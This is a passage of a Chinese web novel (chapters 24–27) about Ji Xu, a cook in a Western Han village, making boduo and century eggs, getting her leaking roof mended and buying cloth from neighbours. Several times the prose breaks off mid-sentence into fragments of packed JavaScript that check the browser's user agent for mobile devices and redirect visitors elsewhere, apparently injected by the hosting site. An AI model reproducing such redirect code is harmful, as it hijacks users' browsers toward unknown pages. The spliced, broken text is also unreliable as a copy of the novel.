一旁季珠的小手拉拉她，脆凌凌的声口，“二姊勿要气，笑起来好看。” 季凤被她逗笑，手指刮刮她的鼻尖，“小鬼头！” 季珠撅了嘴，嫩嫩的道：“不是小鬼头，是小珠。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330577|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 三人嬉笑着，缴完口算钱，心情还是很轻松的。 顺道，她们还去逛了趟盛昌里的里市。 不看不知道，一看吓一跳，这盛昌里的里市可不输外面的乡市，排屋坐贾，小贩叫卖，应有尽有，且价格大都和乡市别无二致。 不过，季胥三姊妹一进来，便引起街边一簇小食摊贩的注意。 其中一个合中身量的汉子，戴着顶小帽儿，身着酱色短襦，两只手揣在袖里，上面已经沾了些油渍，面前的胡饼炉子就是他的。 小眼睛溜湫着三人，猴着身子，和旁边的妇人嘀咕： “就是那女娘，在晒谷场卖肉馅儿蒸饼的。” 妇人梳着溜光的发髻，半旧的灰布襦裙上围着蔽膝，家住这附近，常年推着独轮车，到里市来卖膏环。 她的膏环也是面食，用面粉搦团，搓到八寸长，再首尾一接，形成一个环状，放到釜里头，用猪油膏去煎。 她面前置办的还是一口铁釜，可见是有些家资的。 都是盛昌里的小细民，消息快，这会子哪能不知晒谷场遭到哄抢的肉馅蒸饼。 她精明的三角眼乜斜着，嘴里嗤道： “好个胆大的女娘家，竟敢叫卖到我盛昌里的地界来。” “瞧她拎着篮，怕不是还要在里市叫卖蒸饼？”胡饼汉子心情不爽利，今日是纳赋缴税日，生意本就清淡。 膏环妇人：“她若敢叫卖一声，保管教她知晓这里市是谁的地盘！” 季胥哪能不察觉周遭不善的目光，但她的蒸饼已经在晒谷场卖完了，这会子就纯粹是个顾客，来添置东西的。 里市的商贩对外面来的顾客，虽说不如对本里的热情，但也还是会卖东西与她，毕竟是生意。 她买了五斤肉，拿来包蒸饼的，肉价倒和外头差不离儿，花了五十钱。 见一老农蹲在路边卖鸭蛋，问了问价钱。 “鸭卵子，一钱一颗。” 只见那青皮鸭蛋外头沾些绒毛，兴许鸭子喂的好，个头足够大。 比外头的还经济，季胥心下有了打算，将这篮子里的尽数拣买走了，足足五十颗。 “阿姊，你怎么一气买这么好些鸭卵子来？” 季凤见的纳闷，再好吃也吃不完这么多。 “我准备做了别的吃食来卖。”季胥道，一面带了去买了只陶罐来，花了二十钱，足能装下那些鸭蛋，捧在怀里。 季凤百般好奇，“阿姊要做什么好吃的？” 这里季胥先卖了个关子，只道做时便让她知道，弄的季凤抓心挠肝般的想着。 只见季胥又领她们去药肆，向掌柜的要了二十钱的石灰。 石灰不是治病的吗？乡里人生了恶疮、癞疾，那肉腐坏败死了，药姑便会用石灰掺水来治，趁水气未散，敷在疮处，灼蚀掉那腐肉，她围观过那疼的嗷嗷叫的场面，深深记着石灰这一方药。 现下懵了，治癞疮的石灰还能拿来做吃食？心下越发好奇了，巴望着赶紧到家。 24. 第 24 章 离本固里还有半里路时，天就变阴了。 “下雨了！” 季凤面上一湿，叫唤起来。 季胥她们忙的跑起来，即使这样，还是被淋湿了，人哪能跑的过雨，麻布衣裳贴合着身子，凉浸浸的， “快把衣裳换下来，别风寒了。” 季胥进屋搁下东西，便去给她们拿那挂在床架子上的干净衣裳。 “阿姊怎么办？”季珠忧心起来。 她们是有两身旧衣裳换着穿的，可季胥就只一身。 “阿姊，你也脱下来，在屋子等我，我去灶屋生火，帮你把衣服烘干。” 季凤说道，自己那头换完了，还要上手来帮季胥，怕她穿久了要寒症。 季胥想着暂时只能这样了，便把襦和裤都脱下来，只穿抱腹，关上门，在屋子等着。 由于瓮口窗透着外头的土路，她只能找了个贴门的角度站着。 想着下次去乡市，得扯几尺布来做衣裳。 好在麻布料子轻薄，烘上一会子就干了，季凤捂在怀里，自屋檐下跑着来，从门缝递给她。 季胥穿好，方把门打开。 外头的雨，下得越发紧了，连着秋后的空气也浸着凉意，难怪说一场秋雨一场寒。 这雨直到傍晌都不见停，她们的草舍从前未分家时是间柴房，本就年久失修，哪里经得起偌大的雨，有旮旯角已经开始漏水。 在里屋的东南角，季胥拿了陶盆，奔走去接。 一看，屋顶的茅草已经被冲出个鸡蛋大小的洞，那水不断的往下滴答，很快就将盆注满。 季胥紧忙往出倒，季凤在旁接上个空罐子，是适才在里市买的，里头的鸭蛋被拣出来暂搁在了灶上。 “阿姊，不好了！这里也漏！” 季珠发现灶屋的西南角也在滴滴答答，把地给浇湿了，连忙唤道。 于是，这处，又腾出陶鬲去接。 不一会儿，接连还有两处漏水，家里闲置的桶，连做炊的陶釜都拿去接水了，那蓄满的水不住的往屋外泼。 如今家里不耕田，也没有稻草能修葺屋顶，况且家中也无梯子。 季胥只盼这屋子能撑过这场雨，明日她去乡市找个泥瓦匠回来修缮一番，如今家里还有一百一十钱，想是够的。 至于过后，还是得攒钱盖瓦房啊，到底结实些。 “蜻蛉鸣，衣裘凉，屋漏雨，懒女惊……真该！” 金氏在隔壁的窗缝儿里见状，乐得拿了一把奈果干来嚼。 自家瓦房宽敞，遮风挡雨，再看看那隔壁的三个女娘，忙叨得不行。 这个盆满了，那个罐满了，倒了这个倒那个。 “瞧瞧这胥女，满头大汗的。” 金氏还鬼鬼戚戚拉她大女季元来看，晡食也不顾做了。 季元见状，眼底愈发傲气，“看她还如何得意！连间瓦房都没有。” 这厢，崔思头戴笠帽，穿着蓑衣，来冯家找年纪相仿的冯富贞玩，和她说起来时路过季家二房见到的，讲笑话似的， “……你是没瞧她们那样儿！屋子漏的，都快淋成落汤鸡了。” 冯富贞拿出木头做的博茕，来同崔思掷数字，比大小玩。 听见这话，心头莫名一阵畅快。 “富贞，你这头上的绢花可真好看。”崔思从未戴过这样的绢花呢， 她家虽说吃穿不愁，但阿母廖氏抠搜，家里银钱只会花在刀刃上，她穿的衣裳都是自家织的麻布料子。 冯富贞想到在盛昌里时，这绢花也没惹得她们那的女娘注目，因而摘下来， “送你了。” 崔思喜滋滋收下，又夸了夸冯富贞，手里翻弄着绢花，说起心中的不自在来： “我只悄悄告诉你，我阿母想将胥女说给我大兄做新妇，你说，她若是入我家门，会对我和弟弟好吗？我岂不是要多两个妹妹？” 冯富贞惊道：“你阿母竟瞧的上那等灶下厨？你瞧她家，寒酸的还住茅舍呢。” 崔思一下臊了，支吾道：“都是我阿母了，我反正是瞧不上的。” 外头的雨仍不歇停。 陈家， 庄氏从西屋织布出来，看着屋檐下的雨， “幸而上个月阿翁拣了屋顶，不然这雨下的，该漏到家里来了。” 因这雨，吕媪将苇席挪进了堂屋，坐着席子，在绩麻纱，听见儿媳的话，也是庆幸。 又听的庄氏自顾自的嘟囔了一句：“那胥女家，屋子是不是漏水了？” 陈家住在田头，隔着连亩田，远远能瞧见土垄上那间草屋，似乎有身影在往外泼水，一趟趟的。 吕媪闻言搁开腿上的竹簸，起身出屋子来看，她的眼睛看近处有些模糊，看远处却是明朗的。 季胥刚端起半盆水欲泼出去，便见一人，抱着一大捆的禾草，来到她家檐下，放下禾草后方露出那张苍老的脸，身上那笋壳棕皮做的蓑衣还在往下淌水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336473|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “吕大母？” 来人确是吕媪。 “远远的就看见你在泼水，这草屋就是得时常检修，不然一下雨便漏， 你家这半年多都没修过，想来也遭不住恁大一场雨，拿来捆禾草，与你修屋顶用。” 秋收后，家家户户都存有禾草，季胥家没耕地，自是没有禾草，就平素卖蒸饼塞篮子的，还是早年留下的一小捆，用的也没几根了。 这稻茎禾草用处大，能盖房顶，能沤肥、烧火、编草履，季胥现如今屋子漏雨，家里正缺这些， “这禾草我出钱买您的。”她这就进屋子去拿钱。 吕大母拉住她，“一点稻草要啥钱，同乡同里的，这不是羞了老媪吗？” 不仅如此，吕媪连她家没有木梯都想到了，随后陈老伯便扛了家中的云梯来， “你且等着，你陈大父穿了蓑衣，等他上屋顶去，帮你修缮一番， 这屋子漏成这样，可怎么住人……” 话说着，陈老伯已经架好梯子，将禾草拽着爬上房顶，他是这项上的熟手了，自家那草屋还是他盖的，费不多时，便将那漏水处逐一填补。 看着那瓦罐里滴滴答答的水总算停下来，季胥心头生起暖意，她请人来修缮也是要佣钱的，还得等明天。 想着陈家条件也不好，便又要往吕媪手里塞些铜钱。 吕媪板起脸，“我家狗儿穗儿吃了你不少蒸饼，不过是给你把不值钱的稻草，哪里就要你的钱来，快收起来，留给小珠她们买吃。” “那哪能一样，这禾草累您冒雨送来，又是陈大父帮着拣好的。 分蒸饼是她们孩子相处得好，再说，您家狗儿穗儿也帮我拾柴了。” “快别说拾柴，两个六岁孩儿能拾多少柴禾，快把钱拿回去，再这样我可生气了。” 吕媪也是倔脾气，绝不肯收这钱。 季胥只好作罢，心里记着这份情，拳拳谢过。 离开时，吕媪甚至不要她相送，催她赶紧进屋， “你没穿蓑衣，淋雨染上寒症可了不得了，快进屋去。” 便和扛着梯子的陈老伯归家去了，雨幕里身影渐渐隐去。 “可算是不漏水了，陈大父手艺真好。” 季凤拾掇那些盆罐，总算安心下来，她方才都担心床也要被漏湿。 眼下，屋顶虽是能遮雨，但这场令人措手不及的秋雨，挟卷着的微微凉意，无不提醒着季胥：尽快盖房，盖瓦房。 25. 第 25 章 当然，盖房是件大事，是没法一蹴而就的，季胥暂且将这盘算存在心头。 如今折腾半下午，肚子也饿得紧，外头雨淋淋的，该做顿热食来暖一暖五脏六腑。 她从柳篮里拎出一提三肥七瘦的前腿肉来，割了半块纯瘦肉来，在柴墩子做的木俎上头剁肉糜。 季凤见她将肉剁得极其细腻，还往里头加葱姜水，抱住陶盆，用手往一个方向搅打。 搅打过后的肉糜，像是有了一种劲道，抓粘在一起，呈现出一种肉质鲜嫩的淡粉色。 这和清晨做的蒸饼调的肉馅儿又不一样，季凤记得，那时的肉馅掺了肥肉，是剁成丁的，且没这么细，能看出颗粒。 她不禁好奇，“阿姊，这回是要做什么吃食？” “做水引馎饦，吃着热乎，暖暖身子。” 季胥调好肉馅，已经在溲面了。 水引馎饦？季凤还是从前听盛昌里的女娘说过一嘴，县城才有卖水引馎饦的食肆，没多少人吃过呢，季凤也只是听说，见都没见过。 这会子被勾起馋虫，守在灶边巴巴看着季胥做。 只她见将揉好的面团，放在倒扣的，撒了干面粉的灶面上，使了根不知何时从山里砍来的圆溜溜的木棍，去擀那面团。 巧劲儿十分均匀，面团变得越来越大，越来越薄，和圆面杖缠了好几圈时，才揭下来。 如此重复擀了五大张，将这些面皮儿叠起来，使着柴刀，张开指尖比量了一下，便切出方方正正的形状。 这一切做的出神入化，凤、珠二人看得眼睛都忘眨，投入极了。 季珠拈起一张面皮来，这皮子简直薄细无比，透过它都能看到阿姊的人影儿！ “我能看见阿姊耶。” 季胥被她憨态讨喜的模样给逗笑，解释道： “这是馎饦皮，瞧，将肉这样一抹，一捏。” 她手指灵活，用筷尖将肉糜挑在馎饦皮上，转眼手里就捏好一只裹着肉的馎饦， “这样，一只馎饦就包好了。” “阿姊，我也想包！”季凤瞧着新奇，也想学着试试，话说就洗干净手。 季珠年纪小，爱学样，也踊跃道： “我也要我也要。” 季胥便细细教她们，很有耐心。 两人包的，怎么说，形状古怪，但自家吃，也不打紧，不漏馅就行。 “对，就是这样，做的很好。” 季胥适时夸夸妹妹给予积极性，手速不减，数十个馎饦不多时就包妥当了。 摆好三只碗，碗底一小匙猪油膏、些许的盐酱、再来上一撮葱花，添上一勺烧开的水，冲出半碗汤汁来。 再将那馎饦下进开水里煮的浮起，捞上来拿碗一接。 只见一碗呈现淡酱色的汤汁里，薄皮半浸半浮，面上飘着些摇曳的油花，鲜香扑鼻的水引馎饦就做好了。 季凤虽是饿，却没急着吃，尽管有些犹豫，还是问出了期间一直想问的话， “阿姊，能不能给吕大母她们送一碗去？” 要知道，这次多亏吕大母和陈大父帮着来拣屋顶，不然这会子屋子还是漏的。 季胥正是这么想的，陶盆里还剩了一半没煮，这先做的便给陈家送去。 家里也没个大陶钵，用笔笔直大竹碗装滚烫的水引馎饦可没法端，便拿了仅有的三只豁口陶碗来装，能多盛些， “吕大母家人口多，一碗怕是少了，这三碗都给她家送去罢。” “嗯！” 季凤虽是有些肉疼，这可是肉食呐，精贵得很，但她听阿姊的。 屋外淅淅沥沥半日的雨这会子方住，天色昏蓝蓝的。 她们三姊妹，季胥左右端两只碗，季凤端一只，季珠同着，朝陈家去。 大雨过后的泥路可不好走，本固里不似盛昌里，能用的起沙子瓦砾铺路，因此这路，接连的淖泥水洼。 季胥她们就挑那边上，挨着野草根的，稍微好点的路来走，好在不过半里多路程，走不多时，就到了。 “吕大母，庄婶儿。” 季凤在土院墙底下喊出声道。 陈家一大家子正围坐在堂屋的一条木案边，在吃晡食，食案上单单一盘从瓮缸里捞出来的酸菹菜，就着豆粥吃，碗内尚冒着热气儿，也是才刚聚坐下来。 因着今日骤雨，路难行，陈车儿从窑场下工后回来比平日晚，家里人等他用饭，便捱到这会子。 如今陈车儿跪坐在食案西席，他淋雨归家来的，刚洗过热水澡，换上干燥的旧襦，瘦黑瘦黑的。 同样在西侧席的还有他那双弟妹，陈狗儿并陈穗儿。 北面上席跪坐的是吕媪和陈老伯这对老夫妻，南下席是跛足的陈大并他妻子庄氏。 “这个时辰，是谁在外头？”庄氏惑道。 “听着像是凤姊的声音，说不定小珠也来了呢。”陈狗儿兄妹也跟过去，他们大兄陈车儿已经起身迎去开院门了。 “我是二凤哪，阿姊做了点吃食，带我和妹妹送些与您家。” 季凤年小嗓门大，隔着院墙也能叫人听得清楚。 木门吱吱呀呀打开，季胥认出是陈车儿来开的门，他笑眯眯的，黑溜溜的脸上露出白白的牙， “胥姊。” 因陈车儿要比季胥小上一岁，便这么唤她。 “正吃着晡食，可巧听见外头有人喊，我说这声音耳熟，原是二凤这丫儿。” 堂屋中的吕媪，循着声，前后脚也出来了，季胥面颊自然就染上笑意，在暮色下透着鲜亮， “我做了些水引馎饦，趁热送点来给您尝尝。” 一边送上手里的东西。 水引馎饦？吕媪是闻所未闻，不过，季胥的手艺定然都是好东西。 再一看，三只碗，她顿就摆手， “哪要的了这多，给小碗尝尝就好了，剩下的留着你们三姊妹吃。” 吕媪说什么也不肯要，尤其在她闻着肉香后，这是肉做的？那得多少银钱哪。 她想推，又怕洒了，便一个劲抽身，把手往后背，嘴里说“可不要可不要”。 “家里还有呢，若非您和陈大父帮着修房顶，这会子我们仨怕是都成雨打鸡了， 这些水引馎饦我都嫌少，您快收下吧，不然以后再有点事想找您帮忙，我哪里好意思张口。” 她对着吕媪，仿佛上辈子孙女对奶奶，存着久违的亲昵感， “嗳哟，腕子酸了，洒地上才是可惜了了。” 吕媪忙忙的来接，待左右各端了一碗，一时发现上当了，无奈笑了，将两只热乎乎的碗，递给一旁的陈车儿，季凤那只便由陈狗儿接过。 兄弟俩去灶屋，拿自家的陶钵盛好，将碗空出来。 带上空碗要走时，吕媪看天色暗沉，唤陈车儿亮了火把，送她们回去， “车儿，你顾着点小妹妹，仔细脚下路滑，别摔了。” “哎！” 陈车儿响快应着。 火把映着路，季胥牵着季珠，仔细避开烂泥。 她看了眼身旁的小郎，“听凤妹说，车儿在盛昌里的窑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340717|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场做工吗？” “是咧。”陈车儿说道，“做了有小半年了。” “如今那窑场里的陶瓦什么价？”季胥惦记攒钱盖房的事。 “得四钱一片。”陈车儿说道。 “若是要盖个一堂两内的格局，车儿可知大约要使多少瓦？” “估摸着，得要一千片。”陈车儿想了想，乡里人盖房会在窑场买瓦，他见的多，也清楚。 那就是四千钱。 “青砖呢？” “青砖八钱一块，可贵了，按咱们这儿一堂两内的样式，最少要三千块砖呢” 那青砖少有乡民买的起，多是县城的来买，按量烧制的。 季胥一算，这价格高到乍舌，入冬前她不可能攒齐。 那还是算了，墙依旧还是夯泥墙罢，泥巴可以挖牛脾山的，不费钱，掺着稻壳，如今家家户户的泥墙就是这么夯的，夯的墙也还结实。 至于屋顶，她想着，就盖瓦的，一是结实耐久，一年拣瓦一次便行； 二是家里没耕田也没有稻草，若是买稻草来铺顶，花了钱也不耐久，索性一步到位，还是买一千片瓦。 这买瓦就是四千钱，再加上请人的佣钱，一些零碎的花销，少说她要攒足四千五百个钱，也就是四五两银。 话说这钵水引馎饦，可把陈家人给稀罕坏了。 那飘鲜的肉香，嗅得人惯吃菹菜、清汤寡水的肚子直叫唤，尤其还小的这对双胞胎，都咽了不知多少升口水，但仍是乖巧得很，等长辈先动筷。 跛足的陈大先给二老盛去小半碗，一家人这才动筷，吃了起来。 “不成啊，这皮儿可薄，夹把皮儿给夹烂了，我去拿小勺来。”庄氏说着，便去灶屋拿来些木勺。 陈狗儿早等不及，使筷子也夹了一个进嘴，那微微弹牙的肉，被薄皮裹着，在嘴里滑溜的，别提多香，他还是第一次吃这样好味的东西， “极好吃！大父大母，阿翁阿母，你们快尝尝！” 每人尝过眼底俱是惊喜，在嘴里舍不得咽。 庄氏咂咂嘴里的肉香味，稀罕道：“这叫啥？这样好的味，怕是只有在长安待过的胥女才做得出来了。” “胥姊说这是水引馎饦！”陈穗儿说道，嘴里又送进去一个，真香。 一向沉默老实的陈老伯因说：“还是从前在县市里才见过有食肆卖这吃食。” 那还是去岁春，他去县里置办一把铁锄，市里一家门面大气的食肆，有一小子在肆前吆喝揽客，手里捧着的便是一碗水引馎饦，说是长安来的新鲜吃食呢，一碗足足卖二十钱，他哪吃得起，看个新鲜肚饱便罢了。 “这么说，咱们也吃上县里才卖的吃食了？”陈车儿道，心恬意足的笑。 “胥女做的，比他们食肆的水引馎饦，皮子还要薄。”陈老伯道。 他瞧那食肆捧出来的，皮子是厚的，哪有季胥的手艺，皮儿薄了透着肉的褶皱，铺在碗里，别提多诱人。 “想必是她在长安待过三年的缘故。”陈老伯道。 钵里还剩些，陈大自是要拿过二老的碗来盛，吕媪和陈老伯俱是将碗护在手里， 吕媪因说：“我和你阿翁晡食吃多了这样的汤水，起夜不便，还是给狗儿和穗儿吃罢。” 最后那几个，便进了狗儿和穗儿的小肚子，连那断在汤里的皮儿也没放过，一滴汤水都不剩，毕竟那汤喝着，也有一股子肉香，可鲜呢。 回到家中的季胥三姊妹，自是煮了余下的水引馎饦来吃，吃着身上热乎乎的，暂且驱了秋寒。 26. 第 26 章 填饱肚子，季胥不忘收拾那些鸭蛋。 季凤正惦记这事，喜道：“阿姊可是要做那吃食了？” 两个妹妹都好奇不已，跟前跟后的。 只见她从屋下的柴草里头，抽了一把松柏枝出来，冲洗干净在陶釜里头熬煮，得到半釜黑漆漆的水。 看得季凤直皱眉，却见那黑水放凉了，被季胥倒进石灰里头，过上一会子，又加了盐，甚至灶膛里的草木灰，如此用木棍搅拌一番，得到一盆灰黑灰黑的浆。 那原本好好的鸭蛋，一个个到那浆里裹上一圈，又沾上层掺了稻壳的草木灰，被搁在罐子里头。 季凤满是疑惑，“阿姊，这鸭蛋沾了石灰，还能吃吗？会不会烧坏肠子？” 石灰可是用来灼蚀腐肉的。 季胥笑道：“能吃的，这石灰方才遇水已经变成熟石灰了，阿姊要做的这皮蛋，石灰可是关窍。” 关于皮蛋，最早的文字记载是明孝宗十七年的《竹屿山房杂部》：“混沌子：取燃炭灰一斗，石灰一升，盐水调入，锅烹一沸，俟温，苴于卵上，五七日，黄白混为一处。”文中的“混沌子”便是皮蛋的雏形。 西汉是没有皮蛋的，季胥想着，这买卖兴许可做，家里要尽快攒钱盖瓦房，自然得寻些别的进项。 “皮蛋？”凤、珠二妹异口同声，睁圆了眼。 季胥点头，只见皮蛋尽数裹浆存在罐里，她又去屋后挖了些黄泥巴来，用来密封罐口，一面道： “如此等上二十日左右，便能启开来，吃上皮蛋了。” 妹妹们听了，后来对着搁在里屋墙角的陶罐，摸了又摸，这心里又是好奇，又是企盼。 因着这场秋雨，凉意从坛口窗子涌进来，她们睡着睡着，不知不觉便像猫儿似的抱在一处取暖。 好在次日是个大晴天，天上挂起轮日阳，晒着水潮潮的泥巴地。 乡市的白玉蒸饼没有前些天好卖，接连两日，只卖出四十个，比不上前头能卖大几十个。 眼下刚缴完赋税，大多数人家无异于脱了层皮，勒紧裤腰带过活，连稻米都省着过冬，先吃些豆饭度日，哪里有余钱去买面食这样精细的东西； 至于肉馅儿蒸饼，到乡市有些凉了，且价钱贵些，只卖的十五个，其中十个还是家底相对殷实的李屠夫买去的。 数了数，如今家里有二百四十钱，离买瓦的四千钱还远着，眼看这天就要凉下来，越早盖房才算了却心头大事。 不过季胥也没有气馁，房暂时盖不起，就先做秋衣御寒，只有一身衣裳实在太窘迫了，卖完蒸饼便去到陈家。 院门敞着，西屋传出织机声，她至院内喊道：“庄婶儿在家吗？” 机抒声停了停，庄氏从西屋出来了，一身粗布襦衣，发髻上没有余的装饰，眉眼笑起来透着股质朴， “胥女？快进屋坐，前儿你送来的水引馎饦，我们一家子吃了，都说很好。” 她招呼着，一面捧出珍贵的鼠脯来招待她。 时人食鼠，尤其是田鼠，陈家耕了田，稻子一结穗便引的田鼠来偷吃，粮食是庄稼人的命根子，陈老伯并陈大便会设陷阱捕了来，一来保住了粮食，二来还能开个荤。 这鼠脯，是把肉切成块，煨了姜椒盐豉来煮熟，再晒成脯干，如今盛在陶盘里，一粒粒的，和后世的牛肉粒有些相像。 这是秋日里做的，一直存着舍不得吃，原是要元日过后，方拿来款待亲戚的。 庄氏还要拿碗倒水与她，季胥拉住她， “婶儿先别忙，我有事想先问问婶儿，您家可有麻布卖？我想买个半匹，与我们三姊妹各做身秋衣。” “有的有的。”庄氏忙不迭点头。 如今秋收过去，她在农事上也清闲下来，得空便在西屋纺布，如今家家户户都种粳稻，也种苎麻，纺了麻布自家穿，余的再拿去乡市卖钱贴补家用，她君姑吕媪正是因此，才到处捡些零零碎碎的野麻回来。 “家里正有纺好的半匹多布，原想攒够一匹拿到布肆去卖的，你若要半匹，可巧家里有。” 庄氏喜不自胜，布肆要满一匹才收，她手上功夫再快，纺够一匹也还要半个多月，如今能卖半匹，得些银钱，家里日子也好松泛些。 “那婶儿家的半匹布就卖与我吧。” 庄氏织布的手艺在本固里是极好的，她这就拿出备好的二百钱。 “要不了这么多，一匹麻布，我卖到乡市的布肆，能得三百钱， 半匹的话，你给一百五十钱便足够了。” 庄氏从西屋将半匹布抱出来，说道。 “我若是去布肆买，得二百钱才买得下半匹布。” 她今日去乡市里的布肆打听过行情，原都准备掏钱了，想着陈家兴许有卖，两头直接买卖，还省去中间店肆赚差价。 庄氏年年纺布，如何不知，但她不能昧良心赚钱，该是多少就是多少。 “我原就该出这笔钱的，来找婶儿，是想让婶儿赚这钱，婶儿就收下罢。” 季胥惦记昨日雨中修屋的情，陈家自己都过的捉襟见肘，还能这样雪中送碳，令她着实想结陈家的好； 再者，绩线织布是个精细活，很是费眼，坐久了腰酸胳膊疼。 妇人一日最多才能织出二尺布，忙完农活、每日做炊，一年到头有时间能织出八匹布就算多了。 这织的布，能全拿去换钱？自然不行，全家丁口一年四季的衣裳、被褥还指着这些布来做，有的人家丁口多，自家做衣裳都不够，哪有余的卖钱。 再者家里就那么一亩三分地，种了苎麻来稻子就少种了，都是紧巴巴的匀些犄角旮旯来种。 像陈家，丁口多，麻田少，又缺钱，他们则是穿那陈年的旧衣裳，补丁叠补丁，以此省出布料来去卖钱贴补家用。 “不成不成。” 庄氏见她塞给自己，忙的将手一背，临到关头嘴笨，也不会说灵俐话，只一味倔着不收。 见季胥将钱搁在苇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349275|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席上，急的攥住她，她做惯农活，气力足，季胥抱着布想走也不成了。 眼前的仿佛是翻版的吕媪，她无奈发笑，取回二十钱，商量道：“那婶儿便收下一百八十钱？” “不成，要不了这么多，你起早贪黑卖蒸饼得来的钱哪里是容易的，君姑要是知道我昧小女娘的钱，该骂我没良心了。”庄氏左右不肯。 季胥想了想，看到怀里织得扎实的布，倒有了个法子， “实话告诉婶儿罢，这布我拿回去，家里还得置办针线，加之我在针黹女工这项上不太擅长，做起来费时不说，做的不好倒糟蹋了这布， 不如婶儿收了这钱，替我们三姊妹做一身襦衣和裤出来？ 婶儿的针黹好，我看穗儿穿的衣裳，那针线能看得出来。” 说着歪过去搂了她，做出央求状，“婶儿，若是你不答应，这做衣裳可难住我了，等我做出这身衣裳，怕是都冻得打抖了。” 庄氏倒不知季胥还有贫嘴的一面，被她逗笑，点头道： “成，你们三姊妹的衣裳便交给我，乡里乡亲的，这余的三十钱我不能……” “我去喊两个妹妹来量尺寸！”季胥拔身一溜烟儿出了院门。 庄氏对着苇席上头多出来的三十个钱，吁叹着，掖了掖眼角。 凤、珠二个在后院的菜畦拔草，她们种的菘菜、芸苔、芹菜、蒜苗、姜、葱、椒，长势喜人。 昨日一场雨，旁边长出来不少野草，季凤便带了季珠来拔，一听要量身做新衣，都无比喜欢去洗手。 不过季凤又忧心起来，今日蒸饼没卖完，她担心日后蒸饼不好卖，便想省钱， “我还有两身衣裳换着穿，省些布料，给阿姊多做一身罢。” 到底懂事早，虑的多，倒令季胥心疼，说是有两身，可她那衣裳还是前年田氏做的，如今都露了一截子脚脖子，料子磨得也都十分薄了，洗衣时都不敢大力去搓，怕给搓化了，哪能不做身新的来穿。 季胥因道：“咱们一块儿做新衣，该花的得花，凤妹放心，蒸饼在乡市不大好卖了， 盛昌里那地方要富裕得多，且多数人都还没吃过呢，定是有销路的。” 三人同着往陈家去，季凤问：“盛昌里？那地方的人都蛮霸得很，会让咱进去卖吗？” “阿姊有办法，凤妹把心放到肚子里，开开心心把新衣做了。” 庄氏用手指在她们的手臂、腰身、腿上开合着，不一会儿将尺寸量好，因道：“三日便能做好。” 傍晌，吕媪背着一小捆野麻回来了，襦衫在牛脾山草堆里淌出些湿印，是昨日雨后尚存的露水。 庄氏去东屋给她拿来干燥的衣裳，一面说起季胥来买半匹布的事。 吕媪听说了，吩咐道：“做衣裳时，把针脚缝密些，穿着扎实， 还有，那布替她省着些用，省出来二尺三尺的好布，她留着也可做巾子，或是别的用处。” “哎。”庄氏无不应着。 27. 第 27 章 且说季胥想进盛昌里卖肉馅蒸饼，然她没忘记纳赋那日，逛那盛昌里的里市，萦在身上的不善目光，若是贸然进去，那可真是两眼抓瞎了。 她对盛昌里半点儿不了解，若说本固里谁人熟知盛昌里的内情，自然属鲍氏无疑，她是盛昌里嫁到冯家的女娘。 话说这鲍氏，自打吃过季胥做的菹菜炒大肠，那滋味魂牵梦萦，令她陶醉神往。 但徐媪的腕子也渐好，能做饭食了，且冯家也不会日日请季胥来家庖厨，多少费了银钱，家里供老三冯恽念书，每年是项大开支，旁的能省则省。 因此鲍氏也只是心里头念着。 可巧后日是她娘家阿翁的寿辰，要送寿礼，她正为难。 她丈夫冯二便在她耳边说：“你既觉得胥女手艺巧，不若我们将她请去外舅的寿辰宴上，请她做一席寿宴？既全了我们的孝心，你也能吃着了。” “不好，你不知我那阿翁，面子比天大，倘若教他在五十大寿的肴馔上瞧见大肠这样的贱物，怕是要掀案子，大骂你我不孝， 自然我那些姊妹兄弟，也该嘲笑你我上不得台面。” 鲍氏正因此而愁，这寿礼，得势派、讨喜，方能体现她的“孝心”。 “那明儿个我找母支些钱，咱们扯一段好布料送去，听说布肆里有豫章来的鸡鸣布，很是时新，那些上了年纪的乡绅皆是爱穿的。” “白甚么给他花这钱？有这钱不如私下拿去孝敬我阿母，她还能少做些绣活儿，一天到晚的，眼睛都花了。” 鲍老爷有一房正妻不算，还纳了两房偏妻，拢共生了八个子女，子女有的各自嫁娶，每天打擂台，鸡飞狗跳。 